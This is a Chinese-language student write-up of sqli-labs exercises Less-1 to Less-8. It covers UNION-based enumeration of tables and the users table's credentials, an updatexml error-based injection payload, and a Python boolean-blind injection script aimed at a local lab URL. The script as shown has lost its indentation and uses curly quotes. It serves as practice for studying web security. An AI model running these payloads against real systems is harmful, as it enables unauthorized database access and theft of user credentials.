Less1:
使用order by 查询出表有多少列
结果为3
之后用联合查询查出数据库名(id为-1不存在,则会输出我们的1,2,3)
查表名
查字段名
然后查询users表下的username和password的值
Less-2、3、4
没啥说的Less-2没有 ' ' 都不用闭合,Lees-3的闭合方式变成了 ') Less-4同Less-3
Less-5:
?id=1' and updatexml(1,concat(0x7e,user(),0x7e),1)--+
用到了updatexml函数来触发报错不能含有~(但是查了一下,~~
字符本身不会导致特别的行为或安全问题,但错误的输入处理可能会使应用程序容易受到 SQL 注入攻击。反正使得XPATH错误输入即可)
而报错就会包含concat()的结果
使用SUBSTR进行字符串的截取(默认前32位)
后换为32位至64位
64-96
96-128
128-160
160-192
到此结束
Less-6:
和5也一样就是闭合方式为双引号""
Less-8
靠猜security他的第一个ascii为115
然后就是用循环不断重复出猜他的每一个字母
import time
import requests
url = 'http://127.0.0.1/sqllabs/Less-8/index.php'
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)
res = {"id": payload}
r = requests.get(url, params=res)
end_time = time.time()
if “You are in..........” in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)